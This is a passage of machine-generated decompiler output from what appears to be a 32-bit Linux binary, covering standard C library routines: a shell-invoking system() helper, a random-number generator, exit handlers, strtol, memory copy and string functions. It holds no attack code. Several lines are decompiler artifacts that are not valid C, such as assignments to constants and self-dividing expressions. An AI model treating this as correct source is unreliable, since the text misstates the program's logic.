= edi + 1 + *ebx; } else { L080556b8: eax = 0; } } /* Procedure: 0x080556C4 - 0x080556CA * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L080556C4() { } /* Procedure: 0x080556CB - 0x080556CB * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L080556CB() { } /* Procedure: 0x080556CC - 0x080557E6 * Argument size: 4 * Local size: 48 * Save regs size: 12 */ L080556CC(A8) /* unknown */ void A8; { /* unknown */ void ebx; /* unknown */ void esi; /* unknown */ void Vffffffd0; /* unknown */ void Vffffffd4; /* unknown */ void Vffffffd8; /* unknown */ void Vffffffdc; /* unknown */ void Vffffffe0; /* unknown */ void Vfffffff0; /* unknown */ void Vfffffff4; /* unknown */ void Vfffffff8; Vffffffd0 = *L08078B14; if(A8 == 0) { eax = 0; } else { Vffffffdc = 8192; if(L08057360(0, & Vffffffdc, & Vffffffd8) >= 0) { Vfffffff0 = 0x80556c4; Vfffffff4 = 0; Vfffffff8 = 0; if(L080574C8(14, & Vfffffff0, & Vffffffe0) >= 0) { goto L0805573c; } } eax = A8; goto L080557dd; L0805573c: (save)0; Vffffffd4 = L08057444(); (save)A8; ebx = L08057418(); esp = esp + 8; if(ebx != 0 && ebx < A8) { (save)0; (save) & Vffffffe0; (save)14; L080574C8(); (save)ebx; L08057418(); (save) & Vffffffd8; L0805751C(); (save)0; esi = L08057444(); esp = esp + 24; } else { (save) & Vffffffd8; L0805751C(); (save)0; esi = L08057444(); (save)0; (save) & Vffffffe0; (save)14; L080574C8(); esp = esp + 20; } eax = esi - Vffffffd4; esi = 0; if(eax <= A8) { esi = A8 - eax; } edx = 0; if(eax <= ebx) { edx = ebx - eax; } L08057418(); L08057360(2, & Vffffffd8, 0, edx); *L08078B14 = Vffffffd0; eax = esi; } L080557dd: esp = ebp - 60; } /* Procedure: 0x080557E7 - 0x080557E7 * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L080557E7() { } /* Procedure: 0x080557E8 - 0x0805599C * Argument size: 4 * Local size: 76 * Save regs size: 12 */ L080557E8(A8) /* unknown */ void A8; { /* unknown */ void ebx; /* unknown */ void esi; /* unknown */ void edi; /* unknown */ void Vffffffb4; /* unknown */ void Vffffffb8; /* unknown */ void Vffffffbc; /* unknown */ void Vffffffc0; /* unknown */ void Vffffffc4; /* unknown */ void Vffffffc8; /* unknown */ void Vffffffcc; /* unknown */ void Vffffffd0; /* unknown */ void Vffffffe0; /* unknown */ void Vfffffff0; /* unknown */ void Vfffffff4; /* unknown */ void Vfffffff8; if(A8 == 0) { eax = 1; } else { Vfffffff0 = 1; Vfffffff8 = 0; Vfffffff4 = 0; if(L080574C8(2, & Vfffffff0, & Vffffffe0) >= 0) { if(L080574C8(3, & Vfffffff0, & Vffffffd0) < 0) { ebx = *L08078B14; (save)0; (save) & Vffffffe0; (save)2; } else { Vffffffcc = 65536; ebx = *L08078B14; if(L08057360(0, & Vffffffcc, & Vffffffc8) >= 0) { goto L080558ba; } if(*L08078B14 == 38) { goto L080558b4; } ebx = *L08078B14; (save)0; (save) & Vffffffe0; (save)2; L080574C8(); (save)0; (save) & Vffffffd0; (save)3; } L080574C8(); *L08078B14 = ebx; } L080558aa: eax = -1; goto L08055993; L080558b4: *L08078B14 = ebx; L080558ba: ebx = L080571E8(); if(ebx == 0) { Vffffffb8 = "sh"; Vffffffbc = "-c"; Vffffffc0 = esi; Vffffffc4 = 0; L080574C8(); L080574C8(); L08057360(2, & Vffffffc8, 0, 3, & Vffffffd0, 0, 2, & Vffffffe0, 0); (save) *L0806D228; (save) & Vffffffb8; (save)"/bin/sh"; L080571B8(); (save)127; L08057554(); } if(ebx < 0 || L080569FC(ebx, & Vffffffb4, 0) != ebx) { Vffffffb4 = -1; } ebx = *L08078B14; (save)0; (save) & Vffffffe0; (save)2; edi = L080574C8(); (save)0; (save) & Vffffffd0; (save)3; esi = L080574C8(); if(!(eax = edi | esi | L08057360(2, & Vffffffc8, 0))) { if(*L08078B14 != 38) { goto L080558aa; } *L08078B14 = ebx; } eax = Vffffffb4; } L08055993: esp = ebp - 88; } /* Procedure: 0x0805599D - 0x0805599F * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L0805599D() { } /* Procedure: 0x080559A0 - 0x08055BB9 * Argument size: 4 * Local size: 0 * Save regs size: 12 */ L080559A0(A8) /* unknown */ void A8; { /* unknown */ void ebx; /* unknown */ void esi; /* unknown */ void edi; eax = *L08078958; *eax = A8; if(*L0807895C != 0) { esi = 1; if(*L08078960 > 1) { edi = *L08078958; eax = *L08078960 - 1 & 3; if(*L08078960 > 1) { if(eax == 0) { goto L08055a9c; } if(eax > 1) { if(eax > 2) { ecx = *edi; edx = (ecx + ecx * 2 << 8) + ecx + ((ecx + ecx * 2 << 8) + ecx) * 4; edx = ecx + (edx + (edx << 10)) * 2; *(edi + 4) = ecx + (edx * 8 - edx) * 4 + (ecx + (edx * 8 - edx) * 4) * 4 + 12345; esi = 2; } ecx = *(edi + esi * 4 - 4); edx = (ecx + ecx * 2 << 8) + ecx + ((ecx + ecx * 2 << 8) + ecx) * 4; edx = ecx + (edx + (edx << 10)) * 2; *(edi + esi * 4) = ecx + (edx * 8 - edx) * 4 + (ecx + (edx * 8 - edx) * 4) * 4 + 12345; esi = esi + 1; } } ecx = *(edi + esi * 4 - 4); edx = (ecx + ecx * 2 << 8) + ecx + ((ecx + ecx * 2 << 8) + ecx) * 4; edx = ecx + (edx + (edx << 10)) * 2; *(edi + esi * 4) = ecx + (edx * 8 - edx) * 4 + (ecx + (edx * 8 - edx) * 4) * 4 + 12345; esi = esi + 1; if(*L08078960 > esi) { L08055a9c: do { ecx = *(edi + esi * 4 - 4); edx = (ecx + ecx * 2 << 8) + ecx + ((ecx + ecx * 2 << 8) + ecx) * 4; edx = ecx + (edx + (edx << 10)) * 2; *(edi + esi * 4) = ecx + (edx * 8 - edx) * 4 + (ecx + (edx * 8 - edx) * 4) * 4 + 12345; ebx = esi + 1; ecx = *(edi + ebx * 4 - 4); edx = (ecx + ecx * 2 << 8) + ecx + ((ecx + ecx * 2 << 8) + ecx) * 4; edx = ecx + (edx + (edx << 10)) * 2; *(edi + ebx * 4) = ecx + (edx * 8 - edx) * 4 + (ecx + (edx * 8 - edx) * 4) * 4 + 12345; ebx = esi + 2; ecx = *(edi + ebx * 4 - 4); edx = (ecx + ecx * 2 << 8) + ecx + ((ecx + ecx * 2 << 8) + ecx) * 4; edx = ecx + (edx + (edx << 10)) * 2; *(edi + ebx * 4) = ecx + (edx * 8 - edx) * 4 + (ecx + (edx * 8 - edx) * 4) * 4 + 12345; ebx = esi + 3; ecx = *(edi + ebx * 4 - 4); edx = (ecx + ecx * 2 << 8) + ecx + ((ecx + ecx * 2 << 8) + ecx) * 4; edx = ecx + (edx + (edx << 10)) * 2; *(edi + ebx * 4) = ecx + (edx * 8 - edx) * 4 + (ecx + (edx * 8 - edx) * 4) * 4 + 12345; esi = esi + 4; } while(*L08078960 > esi); } } *L08078950 = *L08078964 * 4 + *L08078958; *L08078954 = *L08078958; for(esi = 0; 1; esi = esi + 1) { eax = *L08078960; if(esi >= eax + eax * 8 + eax) { break; } L08055E38(); } } } /* Procedure: 0x08055BBA - 0x08055D37 * Argument size: 12 * Local size: 0 * Save regs size: 12 */ L08055BBA(A8, Ac, A10) /* unknown */ void A8; /* unknown */ void Ac; /* unknown */ void A10; { /* unknown */ void ebx; /* unknown */ void edi; ebx = *L08078958 + -4; if(*L0807895C == 0) { *( *L08078958 - 4) = 0; } else { edx = *L08078958; *(edx - 4) = ( *L08078954 - edx >> 2) + ( *L08078954 - edx >> 2) * 4 + *L0807895C; } if(A10 <= 31) { if(A10 <= 7) { *L08078B14 = 22; eax = 0; goto L08055d2e; } *L0807895C = 0; *L08078960 = 0; *L08078964 = 0; } else { if(A10 <= 63) { *L0807895C = 1; *L08078960 = 7; *L08078964 = 3; } else { if(A10 <= 127) { *L0807895C = 2; *L08078960 = 15; goto L08055cc4; } if(A10 <= 255) { *L0807895C = 3; *L08078960 = 31; *L08078964 = 3; } else { *L0807895C = 4; *L08078960 = 63; L08055cc4: *L08078964 = 1; } } } *L08078958 = Ac + 4; *L08078968 = *L08078960 * 4 + *L08078958; L080559A0(A8); if(*L0807895C == 0) { *( *L08078958 - 4) = 0; } else { edx = *L08078958; *(edx - 4) = ( *L08078954 - edx >> 2) + ( *L08078954 - edx >> 2) * 4 + *L0807895C; } eax = ebx; L08055d2e: } /* Procedure: 0x08055D38 - 0x08055E35 * Argument size: 4 * Local size: 4 * Save regs size: 12 */ L08055D38(A8) /* unknown */ void A8; { /* unknown */ void ebx; /* unknown */ void esi; /* unknown */ void edi; /* unknown */ void Vfffffffc; ebx = A8; eax = *ebx; edi = 5; asm("cdq"); ecx = edi / edi % edi / edi; esi = eax; Vfffffffc = *L08078958 + -4; if(*L0807895C == 0) { *( *L08078958 - 4) = 0; } else { edx = *L08078958; *(edx - 4) = ( *L08078954 - edx >> 2) + ( *L08078954 - edx >> 2) * 4 + *L0807895C; } if(ecx <= 4 && ecx >= 0) { *L0807895C = ecx; *L08078960 = *(ecx * 4 + 0x80788a8); *L08078964 = *(ecx * 4 + 0x80788bc); } else { *L08078B14 = 22; eax = 0; goto L08055e2c; } ebx = ebx + 4; *L08078958 = ebx; if(*L0807895C != 0) { *L08078954 = esi * 4 + ebx; eax = esi + *L08078964; asm("cdq"); *L08078960 = *L08078960 / *L08078960; *L08078950 = *L08078960 % *L08078960 * 4 + *L08078958; } *L08078968 = *L08078960 * 4 + *L08078958; eax = Vfffffffc; L08055e2c: esp = ebp - 16; } /* Procedure: 0x08055E36 - 0x08055E37 * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L08055E36() { } /* Procedure: 0x08055E38 - 0x08055ECB * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L08055E38() { if(*L0807895C == 0) { eax = *L08078958; 1103515245 = *eax * edx; *eax = edx + 12345 & 2147483647; return(*( *L08078958)); } *( *L08078950) = *( *L08078950) + *( *L08078954); edx = *( *L08078950) >> 1; *L08078950 = *L08078950 + 4; if(*L08078968 <= *L08078950) { *L08078950 = *L08078958; *L08078954 = *L08078954 + 4; } else { *L08078954 = *L08078954 + 4; if(*L08078968 <= *L08078954) { *L08078954 = *L08078958; } } eax = edx; esp = ebp; } /* Procedure: 0x08055ECC - 0x08055F07 * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L08055ECC() { (save)ebp; ebp = esp; esp = esp - 4; *(ebp - 4) = 32; L08057360(1, ebp - 4, 0); L08062188(); do { } while(L0806364C(6) == 0); (save)127; L08057554(); } /* Procedure: 0x08055F08 - 0x08055F33 * Argument size: 0 * Local size: 4 * Save regs size: 4 */ L08055F08(A8) /* unknown */ void A8; { eax = L08055F34(); if(eax != 0) { *eax = 2; *(eax + 4) = A8; eax = 0; } else { eax = -1; } } /* Procedure: 0x08055F34 - 0x08055FB9 * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L08055F34() { ecx = *L08078AF4; do { edx = 0; if(*(ecx + 4) > 0) { eax = 0; do { if(*(eax + ecx + 8) == 0) { goto L08055f98; } eax = eax + 12; edx = edx + 1; } while(*(ecx + 4) != edx); } if(*(ecx + 4) <= 31) { goto L08055fa0; } ecx = *ecx; } while(ecx != 0); ecx = L0805BD74(392); if(ecx != 0) { *ecx = *L08078AF4; *L08078AF4 = ecx; *(ecx + 4) = 1; return(ecx + 8); L08055f98: eax = ecx + eax + 8; esp = ebp; return; L08055fa0: eax = ecx + ( *(ecx + 4) + *(ecx + 4) * 2) * 4 + 8; *(ecx + 4) = *(ecx + 4) + 1; esp = ebp; return; } esp = ebp; return(0); } /* Procedure: 0x08055FBA - 0x08055FBB * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L08055FBA() { } /* Procedure: 0x08055FBC - 0x0805602B * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L08055FBC() { (save)ebp; ebp = esp; (save)edi; (save)esi; (save)ebx; edi = *L08078AF4; do { ebx = *(edi + 4); eax = ebx; ebx = ebx - 1; if(eax != 0) { esi = (ebx + ebx * 2) * 4 + 8; do { edx = esi + edi; eax = *edx; if(eax == 1) { *( *(edx + 4))( *(ebp + 8), *(edx + 8)); } else { < ? L0805600d : ; if(eax == 2) { *( *(edx + 4))(); } } eax = ebx; esi = esi + -12; ebx = ebx - 1; } while(eax != 0); } edi = *edi; } while(edi != 0); L08062188(); (save) *(ebp + 8); L08057554(); } /* Procedure: 0x0805602C - 0x08056055 * Argument size: 8 * Local size: 0 * Save regs size: 0 */ L0805602C(A8, Ac) /* unknown */ void A8; /* unknown */ void Ac; { if(Ac == 0 || *Ac == 0) { return(0); } if(A8 != 0) { *A8 = *Ac & 255; } esp = ebp; return(1); } /* Procedure: 0x08056056 - 0x08056057 * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L08056056() { } /* Procedure: 0x08056058 - 0x08056063 * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L08056058() { return(L08055E38()); } /* Procedure: 0x08056064 - 0x08056433 * Argument size: 16 * Local size: 52 * Save regs size: 12 */ L08056064(A8, Ac, A10, A14) /* unknown */ void A8; /* unknown */ void Ac; /* unknown */ void A10; /* unknown */ void A14; { /* unknown */ void ebx; /* unknown */ void esi; /* unknown */ void edi; /* unknown */ void Vffffffcc; /* unknown */ void Vffffffd0; /* unknown */ void Vffffffd4; /* unknown */ void Vffffffd8; /* unknown */ void Vffffffdc; /* unknown */ void Vffffffe0; /* unknown */ void Vffffffe4; /* unknown */ void Vffffffe8; /* unknown */ void Vffffffec; /* unknown */ void Vfffffff0; /* unknown */ void Vfffffff4; /* unknown */ void Vfffffff8; /* unknown */ void Vfffffffc; ebx = A14; if(ebx != 0) { eax = *( *L08078890 + 20); Vffffffe4 = eax; if(*eax != 0 && *eax != 255) { edx = *( *L08078890 + 16); al = 0; edi = edx; asm("cld"); ecx = -1; asm("repne scasb"); (save) !ecx - 1; if(L0805602C( & Vfffffffc, edx) <= 0) { Vfffffffc = *( *( *L08078890 + 16)) & 255; } if(Vfffffffc != 0) { goto L080560cc; } } } Vffffffe4 = 0; L080560cc: if(A10 < 0 || A10 == 1 || A10 > 36) { A10 = 10; } esi = A8; Vffffffec = esi; eax = *esi & 255; ecx = *L08078FA0; if(!( *(ecx + eax * 2 + 1) & 32)) { do { esi = esi + 1; } while(*(ecx + ( *esi & 255) * 2 + 1) & 32); } if(*esi != 0) { if(*esi == 45) { Vfffffff8 = 1; esi = esi + 1; } else { if(*esi == 43) { Vfffffff8 = 0; esi = esi + 1; } else { Vfffffff8 = 0; } } if(A10 == 16 && *esi == 48) { edx = *(esi + 1) & 255; if(*( *L08078FA8 + edx * 4) == 88) { esi = esi + 2; } } if(A10 == 0) { if(*esi == 48) { edx = *(esi + 1) & 255; if(*( *L08078FA8 + edx * 4) == 88) { esi = esi + 2; A10 = 16; } else { A10 = 8; } } else { A10 = 10; } } Vffffffec = esi; if(ebx != 0) { ebx = Vffffffec; dl = *ebx; Vffffffd4 = dl; if(Vffffffd4 != 0) { ecx = *L08078FA0; Vffffffcc = *L08078FA8; do { eax = Vffffffd4 & 255; if(Vfffffffc != eax && !( *(ecx + eax * 2 + 1) & 8) && ( *(ecx + eax * 2 + 1) & 4 || A10 <= *(Vffffffcc + eax * 4) + -55)) { break; } ebx = ebx + 1; dl = *ebx; Vffffffd4 = dl; } while(Vffffffd4 != 0); } if(Vfffffffc == ( *esi & 255)) { ebx = esi; } else { Vffffffe0 = ebx; Vffffffdc = Vfffffffc; if(Vffffffe4 != 0) { if(ebx > esi) { do { ecx = Vffffffe0 - 1; ebx = Vffffffe4; do { if(Vffffffdc == ( *ecx & 255)) { break; } ecx = ecx - 1; } while(ecx >= esi); edx = Vffffffe0 - ecx; if(edx != ( *ebx & 255) + 1) { edx = Vffffffe0 - ecx; ebx = *ebx & 255; if(edx <= ebx + 1) { if(ecx < esi) { goto L080562ec; } Vffffffe0 = ecx; } else { Vffffffe0 = ebx + ecx + 1; } } else { if(ecx < esi) { goto L080562ec; } Vffffffd8 = ecx - 1; L08056248: do { ebx = ebx + 1; if(*ebx == 0) { ebx = ebx - 1; } ecx = ecx - 1; if(*ebx != 255) { Vffffffcc = ecx; if(ecx >= esi) { do { if(Vffffffdc == ( *ecx & 255)) { break; } ecx = ecx - 1; } while(ecx >= esi); if(ecx >= esi) { goto L0805629d; } } edx = Vffffffcc - ecx; if(edx <= ( *ebx & 255)) { break; } if(ecx < esi) { goto L080562a9; } L0805629d: edx = Vffffffcc - ecx; if(edx == ( *ebx & 255)) { goto L08056248; } else { goto L080562a9; } } if(ecx < esi) { break; } do { if(Vffffffdc == ( *ecx & 255)) { break; } ecx = ecx - 1; } while(ecx >= esi); } while(ecx >= esi); goto L080562ec; L080562a9: Vffffffe0 = Vffffffd8; } } while(Vffffffe0 > esi); } eax = esi; if(Vffffffe0 > esi) { eax = Vffffffe0; } ebx = eax; goto L080562f6; L080562ec: ebx = Vffffffe0; } } } else { ebx = 0; } L080562f6: edx = 0; A10 = A10 / A10; Vfffffff0 = A10 % A10; Vfffffff4 = -1; Vffffffe8 = 0; ecx = 0; dl = *esi; Vffffffd4 = dl; if(Vffffffd4 != 0) { Vffffffcc = *L08078FA0; do { if(esi == ebx) { break; } if(*(Vffffffcc + (Vffffffd4 & 255) * 2 + 1) & 8) { edi = Vffffffd4 & 255; Vffffffd0 = edi; if(*(Vffffffcc + edi * 2 + 1) & 4) { break; } Vffffffd4 = *( *L08078FA8 + edi * 4) + 201; } else { Vffffffd4 = Vffffffd4 + 208; } eax = Vffffffd4 & 255; if(A10 <= eax) { break; } if(Vfffffff4 >= ecx) { != ? 0x8056378 : ; if(Vfffffff0 < eax) { goto L0805636f; } A10 = A10 * ecx; ecx = ecx + (Vffffffd4 & 255); } else { L0805636f: Vffffffe8 = 1; } esi = esi + 1; dl = *esi; Vffffffd4 = dl; } while(Vffffffd4 != 0); } if(Vffffffec == esi) { goto L080563ec; } if(Ac != 0) { *Ac = esi; } if(Vfffffff8 != 0) { if(ecx > -2147483648) { goto L080563b4; } } else { if(ecx > 2147483647) { L080563b4: Vffffffe8 = 1; } } if(Vffffffe8 == 0) { goto L080563e0; } *L08078B14 = 34; eax = 2147483647; if(Vfffffff8 != 0) { eax = -2147483648; goto L0805642a; L080563e0: eax = ecx; if(Vfffffff8 != 0) { eax = ~eax; } } } else { L080563ec: if(Ac != 0) { if(Vffffffec - A8 > 1) { if(*( *L08078FA4 + ( *(Vffffffec - 1) & 255) * 4) != 120) { goto L08056420; } edi = Vffffffec; if(*(edi - 2) != 48) { goto L08056420; } edi = edi - 1; *Ac = edi; } else { L08056420: *Ac = A8; } } eax = 0; } L0805642a: esp = ebp - 64; } /* Procedure: 0x08056434 - 0x0805644D * Argument size: 12 * Local size: 0 * Save regs size: 0 */ L08056434(A8, Ac, A10) /* unknown */ void A8; /* unknown */ void Ac; /* unknown */ void A10; { return(L08056064(A8, Ac, A10, 0)); } /* Procedure: 0x0805644E - 0x0805644F * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L0805644E() { } /* Procedure: 0x08056450 - 0x0805647E * Argument size: 12 * Local size: 0 * Save regs size: 8 */ L08056450(A8, Ac, A10) /* unknown */ void A8; /* unknown */ void Ac; /* unknown */ void A10; { edx = A10; if(edx > 0) { eax = 0; ecx = edx; asm("cld"); asm("repe cmpsb"); == ? L0805646f : ; asm("sbb eax,eax"); al = al | 1; edx = eax; } else { eax = 0; } } /* Procedure: 0x0805647F - 0x0805647F * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L0805647F() { } /* Procedure: 0x08056480 - 0x0805652B * Argument size: 12 * Local size: 0 * Save regs size: 8 */ L08056480(A8, Ac, A10) /* unknown */ void A8; /* unknown */ void Ac; /* unknown */ void A10; { /* unknown */ void esi; /* unknown */ void edi; edx = A10; edi = Ac; esi = A8; if(edx > 0) { eax = edi - esi; if(eax >= edx) { if(edx > 7) { eax = ~edi & 3; edx = edx - eax; ecx = eax; asm("cld"); asm("rep movsb"); eax = edx; if(edx < 0) { eax = edx + 3; } ecx = eax >> 2; asm("cld"); asm("rep movsd"); eax = edx; if(edx < 0) { eax = edx + 3; } al = al & 252; edx = edx - eax; } ecx = edx; asm("cld"); asm("rep movsb"); } else { esi = esi + edx; edi = edi + edx; if(edx > 7) { eax = edi & 3; edx = edx - eax; edi = edi - 1; esi = esi - 1; ecx = eax; asm("std"); asm("rep movsb"); asm("cld"); edi = edi + -3; esi = esi + -3; eax = edx; if(edx < 0) { eax = edx + 3; } ecx = eax >> 2; asm("std"); asm("rep movsd"); asm("cld"); edi = edi + 4; esi = esi + 4; eax = edx; if(edx < 0) { eax = edx + 3; } al = al & 252; edx = edx - eax; } edi = edi - 1; esi = esi - 1; ecx = edx; asm("std"); asm("rep movsb"); asm("cld"); } } } /* Procedure: 0x0805652C - 0x0805656D * Argument size: 12 * Local size: 0 * Save regs size: 12 */ L0805652C(A8, Ac, A10) /* unknown */ void A8; /* unknown */ void Ac; /* unknown */ void A10; { /* unknown */ void edi; edx = A10; edi = A8; if(edx > 7) { eax = ~A8 & 3; edx = edx - eax; ecx = eax; asm("cld"); asm("rep movsb"); ecx = edx >> 2; asm("cld"); asm("rep movsd"); edx = edx & 3; } ecx = edx; asm("cld"); asm("rep movsb"); return(A8); } /* Procedure: 0x0805656E - 0x0805656F * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L0805656E() { } /* Procedure: 0x08056570 - 0x080565F5 * Argument size: 12 * Local size: 0 * Save regs size: 12 */ L08056570(A8, Ac, A10) /* unknown */ void A8; /* unknown */ void Ac; /* unknown */ void A10; { /* unknown */ void esi; /* unknown */ void edi; edx = A10; edi = A8; esi = Ac; if(A8 - esi >= edx) { if(edx > 7) { eax = ~A8 & 3; edx = edx - eax; ecx = eax; asm("cld"); asm("rep movsb"); ecx = edx >> 2; asm("cld"); asm("rep movsd"); edx = edx & 3; } ecx = edx; asm("cld"); asm("rep movsb"); } else { esi = esi + edx; edi = edi + edx; if(edx > 7) { eax = edi & 3; edx = edx - eax; edi = edi - 1; esi = esi - 1; ecx = eax; asm("std"); asm("rep movsb"); asm("cld"); edi = edi + -3; esi = esi + -3; ecx = edx >> 2; asm("std"); asm("rep movsd"); asm("cld"); edi = edi + 4; esi = esi + 4; edx = edx & 3; } edi = edi - 1; esi = esi - 1; ecx = edx; asm("std"); asm("rep movsb"); asm("cld"); } return(A8); } /* Procedure: 0x080565F6 - 0x080565F7 * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L080565F6() { } /* Procedure: 0x080565F8 - 0x0805663C * Argument size: 8 * Local size: 0 * Save regs size: 12 */ L080565F8(A8, Ac) /* unknown */ void A8; /* unknown */ void Ac; { /* unknown */ void ebx; /* unknown */ void esi; /* unknown */ void edi; esi = A8; ebx = Ac; if(esi == ebx) { eax = 0; } else { eax = *esi & 255; for(edi = *L08078FA4; 1; eax = *esi & 255) { cl = *(edi + eax * 4); edx = cl & 255; eax = edx - *(edi + ( *ebx & 255) * 4); if(eax != 0 || cl == 0) { break; } esi = esi + 1; ebx = ebx + 1; } } } /* Procedure: 0x0805663D - 0x0805663F * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L0805663D() { } /* Procedure: 0x08056640 - 0x08056662 * Argument size: 4 * Local size: 4 * Save regs size: 4 */ L08056640(A8, Ac) /* unknown */ void A8; /* unknown */ void Ac; { /* unknown */ void ebx; ecx = A8 - Ac - 1; do { al = *edx; edx = edx + 1; *(ecx + edx) = al; } while(al != 0); return(ebx); } /* Procedure: 0x08056663 - 0x08056663 * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L08056663() { } /* Procedure: 0x08056664 - 0x080566A3 * Argument size: 4 * Local size: 0 * Save regs size: 12 */ L08056664(A8) /* unknown */ void A8; { /* unknown */ void ebx; /* unknown */ void edi; al = 0; edi = A8; asm("cld"); ecx = -1; asm("repne scasb"); ebx = !ecx; edi = L0805BD74(ebx); if(edi != 0) { L0805652C(edi, A8, ebx); eax = edi; } else { eax = 0; } } /* Procedure: 0x080566A4 - 0x080566B8 * Argument size: 4 * Local size: 0 * Save regs size: 0 */ L080566A4(A8) /* unknown */ void A8; { return(L08056E14(A8, 0x807ac6c)); } /* Procedure: 0x080566B9 - 0x080566BB * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L080566B9() { } /* Procedure: 0x080566BC - 0x08056809 * Argument size: 12 * Local size: 16 * Save regs size: 12 */ L080566BC(A8, Ac, A10) /* unknown */ void A8; /* unknown */ void Ac; /* unknown */ void A10; { /* unknown */ void ebx; /* unknown */ void esi; /* unknown */ void edi; /* unknown */ void Vfffffff0; /* unknown */ void Vfffffff4; /* unknown */ void Vfffffff8; /* unknown */ void Vfffffffc; ecx = A10; esi = A8; ebx = Ac; if(esi != ebx) { ecx = ecx - 1; if(ecx != -1) { edi = *L08078FA4; eax = !ecx & 3; if(ecx <= -1) { goto L08056756; } if(eax == 0) { goto L08056784; } if(eax >= 3) { goto L08056756; } if(eax >= 2) { goto L0805672d; } al = *(edi + ( *esi & 255) * 4); Vfffffffc = al; eax = (Vfffffffc & 255) - *(edi + ( *ebx & 255) * 4); if(eax != 0) { goto L08056800; } if(Vfffffffc != 0) { esi = esi + 1; ebx = ebx + 1; ecx = ecx - 1; L0805672d: al = *(edi + ( *esi & 255) * 4); Vfffffff8 = al; eax = (Vfffffff8 & 255) - *(edi + ( *ebx & 255) * 4); if(eax != 0) { goto L08056800; } if(Vfffffff8 != 0) { esi = esi + 1; ebx = ebx + 1; ecx = ecx - 1; L08056756: al = *(edi + ( *esi & 255) * 4); Vfffffff4 = al; eax = (Vfffffff4 & 255) - *(edi + ( *ebx & 255) * 4); if(eax != 0) { goto L08056800; } if(Vfffffff4 != 0) { esi = esi + 1; ebx = ebx + 1; if(ecx - 1 != -1) { L08056784: Vfffffff0 = ecx; do { cl = *(edi + ( *esi & 255) * 4); edx = cl & 255; eax = edx - *(edi + ( *ebx & 255) * 4); if(eax != 0) { goto L08056800; } if(cl == 0) { goto L080567fe; } esi = esi + 1; ebx = ebx + 1; cl = *(edi + ( *esi & 255) * 4); edx = cl & 255; eax = edx - *(edi + ( *ebx & 255) * 4); if(eax != 0) { goto L08056800; } if(cl == 0) { goto L080567fe; } esi = esi + 1; ebx = ebx + 1; cl = *(edi + ( *esi & 255) * 4); edx = cl & 255; eax = edx - *(edi + ( *ebx & 255) * 4); if(eax != 0) { goto L08056800; } if(cl == 0) { goto L080567fe; } esi = esi + 1; ebx = ebx + 1; cl = *(edi + ( *esi & 255) * 4); edx = cl & 255; eax = edx - *(edi + ( *ebx & 255) * 4); if(eax != 0) { goto L08056800; } if(cl == 0) { goto L080567fe; } esi = esi + 1; ebx = ebx + 1; Vfffffff0 = Vfffffff0 + -4; } while(Vfffffff0 != -1); } } } } } } L080567fe: eax = 0; L08056800: esp = ebp - 28; } /* Procedure: 0x0805680A - 0x0805680B * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L0805680A() { } /* Procedure: 0x0805680C - 0x080568CE * Argument size: 12 * Local size: 0 * Save regs size: 12 */ L0805680C(A8, Ac, A10) /* unknown */ void A8; /* unknown */ void Ac; /* unknown */ void A10; { /* unknown */ void ebx; /* unknown */ void esi; ecx = Ac; ebx = A10; edx = A8 - 1; if(ebx > 3) { esi = ebx >> 2; al = *ecx; ecx = ecx + 1; edx = A8; *A8 = al; do { al = *ecx; ecx = ecx + 1; edx = edx + 1; *edx = al; if(al == 0) { break; } al = *ecx; ecx = ecx + 1; edx = edx + 1; *edx = al; if(al == 0) { break; } al = *ecx; ecx = ecx + 1; edx = edx + 1; *edx = al; if(al == 0) { break; } if(esi = esi - 1) { goto L0805686c; } al = *ecx; ecx = ecx + 1; edx = edx + 1; *edx = al; } while(al != 0); if(ebx = ebx - edx - A8 - 1) { goto L08056881; } } else { L0805686c: if(!(ebx = ebx & 3)) { do { al = *ecx; ecx = ecx + 1; edx = edx + 1; *edx = al; if(ebx = ebx - 1) { goto L080568c3; } } while(al != 0); L08056881: eax = ~ebx & 3; if(ebx > 0) { if(eax == 0) { goto L080568ac; } if(eax < 3) { if(eax < 2) { edx = edx + 1; *edx = 0; ebx = ebx - 1; } edx = edx + 1; *edx = 0; ebx = ebx - 1; } } edx = edx + 1; *edx = 0; if(!(ebx = ebx - 1)) { L080568ac: do { *(edx + 1) = 0; *(edx + 2) = 0; *(edx + 3) = 0; edx = edx + 4; *edx = 0; } while(ebx = ebx + -4); } } } L080568c3: return(A8); } /* Procedure: 0x080568CF - 0x080568CF * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L080568CF() { } /* Procedure: 0x080568D0 - 0x08056951 * Argument size: 8 * Local size: 0 * Save regs size: 12 */ L080568D0(A8, Ac) /* unknown */ void A8; /* unknown */ void Ac; { /* unknown */ void ebx; /* unknown */ void esi; ebx = A8; if(ebx == 0) { if(*L08078AFC == 0) { *L08078B14 = 22; eax = 0; goto L08056948; } ebx = *L08078AFC; } ebx = ebx + L08057DB0(ebx, Ac); if(*ebx == 0) { *L08078AFC = 0; eax = 0; } else { esi = ebx; ebx = L08057B30(esi, Ac); if(ebx == 0) { *L08078AFC = 0; } else { *ebx = 0; *L08078AFC = ebx + 1; } eax = esi; } L08056948: } /* Procedure: 0x08056952 - 0x08056953 * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L08056952() { } /* Procedure: 0x08056954 - 0x080569BA * Argument size: 8 * Local size: 392 * Save regs size: 8 */ L08056954(A8, Ac) /* unknown */ void A8; /* unknown */ void Ac; { /* unknown */ void edi; /* unknown */ void Vfffffe78; /* unknown */ void Vfffffeb9; if(A8 != 0) { if(L08057390( & Vfffffe78) == -1) { goto 